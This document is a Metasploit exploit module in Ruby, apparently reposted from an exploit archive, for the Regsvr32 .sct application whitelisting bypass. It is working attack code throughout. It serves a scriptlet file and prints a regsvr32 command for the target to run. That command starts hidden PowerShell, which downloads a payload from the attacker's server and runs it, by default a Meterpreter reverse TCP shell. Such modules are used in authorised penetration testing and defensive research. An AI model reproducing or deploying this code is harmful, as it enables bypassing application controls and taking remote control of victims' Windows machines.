Regsvr32.exe (.sct) Application Whitelisting Bypass Server
Posted on 16 June 2016
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking include Msf::Exploit::Powershell include Msf::Exploit::Remote::HttpServer def initialize(info = {}) super(update_info(info, 'Name' => 'Regsvr32.exe (.sct) Application Whitelisting Bypass Server', 'Description' => %q( This module simplifies the Regsvr32.exe Application Whitelisting Bypass technique. The module creates a web server that hosts an .sct file. When the user types the provided regsvr32 command on a system, regsvr32 will request the .sct file and then execute the included PowerShell command. This command then downloads and executes the specified payload (similar to the web_delivery module with PSH). Both web requests (i.e., the .sct file and PowerShell download and execute) can occur on the same port. ), 'License' => MSF_LICENSE, 'Author' => [ 'Casey Smith', # AppLocker bypass research and vulnerability discovery (@subTee) 'Trenton Ivey', # MSF Module (kn0) ], 'DefaultOptions' => { 'Payload' => 'windows/meterpreter/reverse_tcp' }, 'Targets' => [['PSH', {}]], 'Platform' => %w(win), 'Arch' => [ARCH_X86, ARCH_X86_64], 'DefaultTarget' => 0, 'DisclosureDate' => 'Apr 19 2016', 'References' => [ ['URL', 'http://subt0x10.blogspot.com/2016/04/bypass-application-whitelisting-script.html'] ] )) end def primer print_status('Run the following command on the target machine:') print_line("regsvr32 /s /n /u /i:#{get_uri}.sct scrobj.dll") end def on_request_uri(cli, _request) # If the resource request ends with '.sct', serve the .sct file # Otherwise, serve the PowerShell payload if _request.raw_uri =~ /.sct$/ serve_sct_file else serve_psh_payload end end def serve_sct_file print_status("Handling request for the .sct file from #{cli.peerhost}") ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl download_string = Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(get_uri) download_and_run = "#{ignore_cert}#{download_string}" psh_command = generate_psh_command_line( noprofile: true, windowstyle: 'hidden', command: download_and_run ) data = gen_sct_file(psh_command) send_response(cli, data, 'Content-Type' => 'text/plain') end def serve_psh_payload print_status("Delivering payload to #{cli.peerhost}") data = cmd_psh_payload(payload.encoded, payload_instance.arch.first, remove_comspec: true, use_single_quotes: true ) send_response(cli,data,'Content-Type' => 'application/octet-stream') end def rand_class_id "#{Rex::Text.rand_text_hex 8}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 12}" end def gen_sct_file(command) %{<?XML version="1.0"?><scriptlet><registration progid="#{rand_text_alphanumeric 8}" classid="{#{rand_class_id}}"><script><![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("#{command}",0);]]></script></registration></scriptlet>} end end